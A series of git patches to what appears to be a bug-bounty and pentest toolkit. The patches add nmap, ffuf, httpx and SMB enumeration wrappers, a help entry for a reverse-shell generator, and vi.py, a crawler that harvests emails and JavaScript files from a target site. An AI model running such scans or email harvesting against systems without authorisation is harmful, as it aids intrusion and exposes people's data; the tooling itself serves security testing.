open ports" + echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -561,7 +588,7 @@ case "$cmd" in echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" From 01854092a00303097ac7b8529861f4a4c94af7fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Nov 2021 18:59:26 +0000 Subject: [PATCH 118/369] [s0mbra] fufu --- s0mbra.sh | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5091f75..0798d42 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -53,14 +53,12 @@ __logo=" ,B@B " - # config commands set_ip() { export IP="$1" } # runs $2 port(s) against IP; then -sV -sC -A against every open port found -# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" @@ -99,7 +97,6 @@ nmap_vuln_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -410,6 +407,14 @@ fu() { else ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi + echo -e "$BLUE\n[+] Done! $CLR" +} + +fufu() { + clear + echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + echo -e "$BLUE\n[+] Done! $CLR" } generate_shells() { @@ -562,6 +567,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufu) + fufu "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -607,6 +615,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" echo -e "$BLUE:: MISC ::$CLR" echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" From 11f3d3fdb0314e39bc7758f402dd6d9adc0d1a6d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Nov 2021 22:07:29 +0000 Subject: [PATCH 119/369] [s0mbra] Removed logo --- s0mbra.sh | 31 +------------------------------ 1 file changed, 1 insertion(+), 30 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0798d42..12e2d25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -24,35 +24,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' - -__logo=" - :PB@Bk: - ,jB@@B@B@B@BBL. - 7G@B@B@BMMMMMB@B@B@Nr - :kB@B@@@MMOMOMOMOMMMM@B@B@B1, - :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. - 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr - G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S - @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ - B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B - @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ - @@OLB. BNB@MMOMOMM@BEB rBjM@B - @@ @ M OBOMOMM@q M .@ @@ - @@OvB B:u@MMOMOMMBJiB .BvM@B - @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ - B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B - @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ - B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M - J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv - iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: - . B@M@B@MMM@B@B@B@MMM@@@M@B - @B@B.i@MBB@B@B@@BM@::B@B@ - B@@@ .B@B.:@B@ :B@B @B@O - :0 r@B@ B@@ .@B@: P: - vMB :@B@ :BO7 - ,B@B -" - # config commands set_ip() { export IP="$1" @@ -481,7 +452,7 @@ pwn() { cmd=$1 clear -# echo "$__logo" + case "$cmd" in pwn) pwn "$2" From 3ef9fa34367d1386a70cdb541435010a1ffd748f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:22:20 +0000 Subject: [PATCH 120/369] [Vi.py] Vi - tool to extract useful stuff from the website [initial commit] --- vi.py | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 vi.py diff --git a/vi.py b/vi.py new file mode 100644 index 0000000..e8e9270 --- /dev/null +++ b/vi.py @@ -0,0 +1,66 @@ +from bs4 import BeautifulSoup +import requests +import requests.exceptions +import urllib.parse +from collections import deque +import re + +''' +Vi.py - an automated script to extract all inteersting information from website + +@author: bl4de +''' +user_url = str(input('[+] Enter Target URL To Scan: ')) +urls = deque([user_url]) +MAX_COUNT = 10 + +scraped_urls = set() +emails = set() +javascript_files = set() + +count = 0 +try: + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + new_emails = set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) + emails.update(new_emails) + + new_javascripts = set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + )) + javascript_files.update(new_javascripts) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) +except KeyboardInterrupt: + print('[-] Closing!') + +for mail in emails: + print(mail) +for js_file in javascript_files: + print(js_file) From 3b992758109fa09cf5ff2e99eff4cc9901645947 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:26:04 +0000 Subject: [PATCH 121/369] [Vi.py] Some development plan defined, I guess --- vi.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/vi.py b/vi.py index e8e9270..a9fc19f 100644 --- a/vi.py +++ b/vi.py @@ -9,7 +9,19 @@ Vi.py - an automated script to extract all inteersting information from website @author: bl4de + +@TBD: +- refactor scafolding code +- extract JavaScript files -> scan them for stuff + (API endpoints, secrets, hardcoded information etc.) +- parse HTML for stuff +- harvest useful information from any comment found (in HTML and JS alike) +- other? (TBA) + +- add as a submodule (enabled by cmd option) to denumerator.py + and perform full recon of every website found in scope ''' + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 From bf0183de511a7c3962be94eeaa0450e9bb671a96 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:01:18 +0000 Subject: [PATCH 122/369] [Vi.py] refactoring (in progress) --- vi.py | 36 +++++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/vi.py b/vi.py index a9fc19f..14440a3 100644 --- a/vi.py +++ b/vi.py @@ -11,7 +11,9 @@ @author: bl4de @TBD: -- refactor scafolding code +- refactor scafolding code [In progress] +- add argparser + - extract JavaScript files -> scan them for stuff (API endpoints, secrets, hardcoded information etc.) - parse HTML for stuff @@ -22,6 +24,28 @@ and perform full recon of every website found in scope ''' + +def extract_emails(emails: set, http_response: requests.Response) -> set: + ''' + Extracts emails from provided HTTP response body and append them + to already found set of emails + ''' + emails.update(set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) + return emails + + +def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: + ''' + Extracts JavaScript files urls from provided HTTP response body and append them + to already found set of javascript_files + ''' + javascript_files.update(set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + ))) + return javascript_files + + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 @@ -50,14 +74,8 @@ except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): continue - new_emails = set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) - emails.update(new_emails) - - new_javascripts = set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE - )) - javascript_files.update(new_javascripts) + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files(javascript_files, response) soup = BeautifulSoup(response.text, features="lxml") From a408573722f6b1aec04ed5f06334e6f5dd71b6e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:03:02 +0000 Subject: [PATCH 123/369] [Vi.py] refactor main() --- vi.py | 94 ++++++++++++++++++++++++++++++++--------------------------- 1 file changed, 51 insertions(+), 43 deletions(-) diff --git a/vi.py b/vi.py index 14440a3..386c8cd 100644 --- a/vi.py +++ b/vi.py @@ -46,51 +46,59 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -user_url = str(input('[+] Enter Target URL To Scan: ')) -urls = deque([user_url]) -MAX_COUNT = 10 +if __name__ == "__main__": + def main(): -scraped_urls = set() -emails = set() -javascript_files = set() + user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 10 -count = 0 -try: - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) + scraped_urls = set() + emails = set() + javascript_files = set() - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) + count = 0 - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files(javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) -except KeyboardInterrupt: - print('[-] Closing!') - -for mail in emails: - print(mail) -for js_file in javascript_files: - print(js_file) + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) From bb2c19f563e0c02305abc7dcaa7a6687b6154520 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:06:01 +0000 Subject: [PATCH 124/369] [Vi.py] refactoring - Move main routine to proceed() --- vi.py | 115 ++++++++++++++++++++++++++++++---------------------------- 1 file changed, 59 insertions(+), 56 deletions(-) diff --git a/vi.py b/vi.py index 386c8cd..c1b6c4f 100644 --- a/vi.py +++ b/vi.py @@ -41,64 +41,67 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp to already found set of javascript_files ''' javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE ))) return javascript_files +def proceed(): + + user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 5 + + scraped_urls = set() + emails = set() + javascript_files = set() + + count = 0 + + try: + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) + + if __name__ == "__main__": - def main(): - - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 10 - - scraped_urls = set() - emails = set() - javascript_files = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for js_file in javascript_files: - print(js_file) + proceed() From ab4c94f8146fd8e60473b0ba21f505c07b8004f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:38:49 +0000 Subject: [PATCH 125/369] [vi.py] Refactoring - split script into steps which will be performed against given url --- s0mbra.sh | 4 ---- vi.py | 38 +++++++++++++++++++++++++++++++++----- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 12e2d25..8eb4a0b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,10 +1,6 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### ### ### S0mbra ### -### ### - - # BugBounty/CTF/PenTest/Hacking suite # collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. # CTX: bl4de@wearehackerone.com diff --git a/vi.py b/vi.py index c1b6c4f..e856127 100644 --- a/vi.py +++ b/vi.py @@ -46,15 +46,35 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -def proceed(): +def parse_javascript_file(js_filename: str): + ''' + Parse JavaScript file for interesting stuff + ''' + TYPE = 'DEBUG' + print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") + pass + +def extract(): + ''' + Performs data extraction stage + ''' + for js_filename in javascript_files: + parse_javascript_file(js_filename) + + pass + + +def recon(emails: set, javascript_files: set): + ''' + Creates list of resources; some will be proceeded later in next + steps + ''' user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) - MAX_COUNT = 5 + MAX_COUNT = 2 scraped_urls = set() - emails = set() - javascript_files = set() count = 0 @@ -104,4 +124,12 @@ def proceed(): if __name__ == "__main__": - proceed() + + emails = set() + javascript_files = set() + + # go through provided url; find emails, javascript files etc. + recon(emails, javascript_files) + + # extract sensitive and interesting information from what was found + extract() From 83538e2dbca570c0aafa213bec8b30c4d326bc59 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:55:53 +0000 Subject: [PATCH 126/369] [vi.py] rename extract() to tear_off()... :P --- vi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vi.py b/vi.py index e856127..096e41f 100644 --- a/vi.py +++ b/vi.py @@ -55,7 +55,7 @@ def parse_javascript_file(js_filename: str): pass -def extract(): +def tear_off(): ''' Performs data extraction stage ''' @@ -132,4 +132,4 @@ def recon(emails: set, javascript_files: set): recon(emails, javascript_files) # extract sensitive and interesting information from what was found - extract() + tear_off() From cc42fa9898d90dd4e20ad39f84a64c14944f2ee9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 30 Nov 2021 00:00:18 +0000 Subject: [PATCH 127/369] [denumerator] Batch Show/Hide by repsonse type (2xx/3xx/4xx/5xx) --- denumerator/denumerator.py | 43 +++++++++++++++++++++++++++++++++----- s0mbra.sh | 2 +- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index ff05484..d907ead 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -140,6 +140,14 @@ def create_output_header(html_output): background-color: #f9f9db; } + TR.visible { + display: block; + } + + TR.hidden { + display: none; + } + A.toggle { margin-left:30px; font-size: 18px; @@ -193,15 +201,39 @@ def create_output_header(html_output): }); } } + + + function showOnly(className, evtTarget = null) { + const elements = document.getElementsByClassName(className); + if (elements.length > 0) { + [].forEach.call(elements, element => { + if (element.classList.contains('hidden')) { + element.classList.remove('hidden'); + element.classList.add('visible'); + if (evtTarget) { + evtTarget.classList.remove('off'); + evtTarget.classList.add('on'); + } + } else { + element.classList.remove('visible'); + element.classList.add('hidden'); + if (evtTarget) { + evtTarget.classList.remove('on'); + evtTarget.classList.add('off'); + } + } + }); + } + } @@ -269,7 +301,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ element_class_name_iterator += 1 html = """ - +

HTTP Response Status: {} @@ -296,6 +328,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( + (http_status_code//100), http_status_code_color, element_class_name, http_status_code, diff --git a/s0mbra.sh b/s0mbra.sh index 8eb4a0b..371e011 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -578,7 +578,7 @@ case "$cmd" in echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From 0a8f49476917030670c6161d6e75be724ff596b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 21:37:27 +0000 Subject: [PATCH 128/369] [s0mbra] Added httpx wrapper to RECON tools --- denumerator/denumerator.py | 2 +- enumeratescope.sh | 3 ++- s0mbra.sh | 12 +++++++++++- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index d907ead..70ad1e6 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -487,7 +487,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 diff --git a/enumeratescope.sh b/enumeratescope.sh index 864cc66..0e49ed9 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -52,7 +52,8 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 371e011..4d7dcc2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,11 +237,17 @@ nfs_enum() { # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." + echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" enumeratescope $1 $2 echo -e "\n[+] Done." } +htpx() { + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "\n[+] Done." +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -465,6 +471,9 @@ case "$cmd" in subdomenum) subdomenum "$2" "$3" ;; + htpx) + htpx "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -550,6 +559,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" From 1f54c34483c9f48261e1eb2de5ef2596c1a252b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 23:27:09 +0000 Subject: [PATCH 129/369] [s0mbra] refactoring - remove unused stuff --- s0mbra.sh | 68 ++++--------------------------------------------------- 1 file changed, 5 insertions(+), 63 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4d7dcc2..c92609b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -142,24 +142,6 @@ javascript_sca() { echo -e "\n\n[+]Done." } -# exposes folder with Linux PrivEsc tools on localhost:9119 -privesc_tools_linux() { - cd "$HACKING_HOME"/tools/Linux-tools || exit - echo -e "$BLUE[+] Available tools:$CLR" - tree -L 2 . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - -# exposes folder with Windows PrivEsc tools on localhost:9119 -privesc_tools_windows() { - cd "$HACKING_HOME"/tools/Windows || exit - echo -e "$BLUE[+] Available tools:$CLR" - ls -lR . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -243,8 +225,8 @@ subdomenum() { } htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } @@ -424,30 +406,6 @@ generate_shells() { echo -e "$NEWLINE" } -php7() { - echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" - brew unlink php@8.0 && brew link --force php@7.4 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - -php8() { - echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" - brew unlink php@7.4 && brew link --force php@8.0 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - pwn() { echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } @@ -459,12 +417,6 @@ case "$cmd" in pwn) pwn "$2" ;; - php7) - php7 - ;; - php8) - php8 - ;; set_ip) set_ip "$2" ;; @@ -516,12 +468,6 @@ case "$cmd" in decompile_jar) decompile_jar "$2" ;; - privesc_tools_linux) - privesc_tools_linux - ;; - privesc_tools_windows) - privesc_tools_windows - ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -559,7 +505,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" @@ -569,8 